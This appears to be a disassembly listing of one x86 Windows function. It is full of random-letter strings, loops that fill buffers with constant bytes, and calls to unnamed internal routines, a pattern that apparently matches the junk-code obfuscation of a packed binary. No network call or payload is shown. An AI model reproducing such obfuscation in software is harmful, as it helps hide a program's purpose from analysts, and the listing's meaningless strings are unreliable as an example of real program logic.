push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
mov ecx, 8
mov esi, str.Ciuadoyybcdouiu
lea edi, [ebp - 0x418]
push 0x10
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x418]
push ecx
push 1
push 0x800
call ebx
push str.Pvqxlaiso
mov ecx, 0x1d
mov esi, str.Riuicudvzaaohgiojozeepkujuimhakiuioayaabneeoyazafeaqeulpuubuioebeorishtuhceidoefisrarkqicorataiabweafineukeicuaaievuu
lea edi, [ebp - 0x1130]
rep movsd dword es:[edi], dword [esi]
push str.Ofieqatu
push str.Rezv
push 0x720
push str._d_Sqjafu_Mslumebo__s_Rsqsrifueo_Neuuwabia__s_Iudfm_Vhq__s_Cemazusiae_Ngckaaq
lea edx, [ebp - 0x1130]
push 0x75
push edx
mov dword [0x6e9a14], eax
movsw word es:[edi], word [esi]
call fcn.0040db84
push 0x75c
call fcn.0040db03
mov edx, eax
add esp, 0x20
test edx, edx
je 0x40a04c
mov edi, edx
mov ecx, 0x136
mov eax, 0xb7b7b7b7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x6b
mov eax, 0xc8c8c8c8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
xor eax, eax
push str.Waub
mov dword [ebp - 0x77], eax
push str.Iuaokok
mov dword [ebp - 0x73], eax
push 0xd5ed
mov dword [ebp - 0x6f], eax
push str.Wpte
mov dword [ebp - 0x6b], eax
push 0x41e9a8
mov dword [ebp - 0x67], eax
push str._s_Maaep__s_Va_Qjqa_Ibgo__d_Qnmok_T__s_Ti__s_Aoioxii_Wfootokou
mov dword [ebp - 0x63], eax
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x5f], eax
push 0x20
push ecx
mov byte [ebp - 0x78], 0
mov dword [ebp - 0x5b], eax
call fcn.0040db84
add esp, 0x20
mov esi, 5
push 0x62b
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x40a0ce
mov edi, edx
mov ecx, 0xd9
mov eax, 0x90909090
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x40a0a1
mov esi, 3
jmp 0x40a0e0
mov ecx, dword [0x41e958]
mov edx, dword [str.Qcloaopuen]
mov eax, dword [0x41e954]
mov dword [ebp - 0x40], edx
mov edx, dword [0x41e95c]
mov dword [ebp - 0x38], ecx
mov cx, word [0x41e964]
mov dword [ebp - 0x34], edx
mov edx, dword [str.Dfoipaidn]
mov word [ebp - 0x2c], cx
mov ecx, dword [0x41e944]
push 0xa
mov dword [ebp - 0x28], edx
mov edx, dword [0x41e948]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [0x41e960]
lea ecx, [ebp - 0x28]
push ecx
push 0xb
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], eax
mov eax, dword [0x41e940]
lea edx, [ebp - 0x40]
push edx
mov dword [ebp - 0x24], eax
mov eax, dword [0x41e94c]
push 1
push 0x800
mov dword [ebp - 0x18], eax
call ebx
dec esi
mov dword [0x6e9a24], eax
jne 0x40a0e0
mov ecx, 9
mov esi, str.Rieoriskomnehidileceaoguxielhioaosyid
lea edi, [ebp - 0x624]
rep movsd dword es:[edi], dword [esi]
push 0x41e910
push str._s_Stew
lea eax, [ebp - 0x624]
push 0x25
push eax
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor al, al
pop ebx
call fcn.00411d12
mov esp, ebp
pop ebp
ret